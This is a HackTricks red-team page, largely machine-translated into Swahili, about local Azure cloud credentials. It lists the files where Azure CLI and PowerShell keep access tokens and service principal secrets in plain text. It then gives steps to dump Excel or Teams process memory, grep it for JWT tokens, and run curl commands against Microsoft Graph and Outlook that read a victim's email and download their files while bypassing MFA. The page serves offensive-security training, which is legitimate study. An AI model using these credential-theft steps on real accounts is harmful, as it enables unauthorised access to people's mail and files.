Az - Local Cloud Credentials

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Local Token Storage and Security Considerations

Azure CLI (Command-Line Interface)

Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, kuleta wasiwasi wa usalama:

  1. Access Tokens: Huhifadhiwa katika maandiko wazi ndani ya accessTokens.json iliyoko C:\Users\<username>\.Azure.
  2. Subscription Information: azureProfile.json, katika saraka hiyo hiyo, ina maelezo ya usajili.
  3. Log Files: Folda ya ErrorRecords ndani ya .azure inaweza kuwa na logi zenye akidi zilizofichuliwa, kama vile:
  • Amri zilizotekelezwa zikiwa na akidi zilizojumuishwa.
  • URLs zilizofikiwa kwa kutumia tokens, ambazo zinaweza kufichua taarifa nyeti.

Azure PowerShell

Azure PowerShell pia huhifadhi tokens na data nyeti, ambazo zinaweza kufikiwa kwa ndani:

  1. Access Tokens: TokenCache.dat, iliyoko C:\Users\<username>\.Azure, huhifadhi tokens za ufikiaji katika maandiko wazi.
  2. Service Principal Secrets: Hizi huhifadhiwa bila usimbaji katika AzureRmContext.json.
  3. Token Saving Feature: Watumiaji wana uwezo wa kuhifadhi tokens kwa kutumia amri ya Save-AzContext, ambayo inapaswa kutumika kwa tahadhari ili kuzuia ufikiaji usioidhinishwa.

Automatic Tools to find them

Tokens in memory

Kama ilivyoelezwa katika this video, baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza kuhifadhi tokens za ufikiaji katika maandiko wazi katika kumbukumbu. Hivyo basi kudondosha kumbukumbu ya mchakato na kuangalia kwa JWT tokens kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.

Hatua:

  1. Dondosha michakato ya excel iliyohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.
  2. Endesha: string excel.dmp | grep 'eyJ0' na pata tokens kadhaa katika matokeo
  3. Pata tokens zinazokuvutia zaidi na endesha zana juu yao:
bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks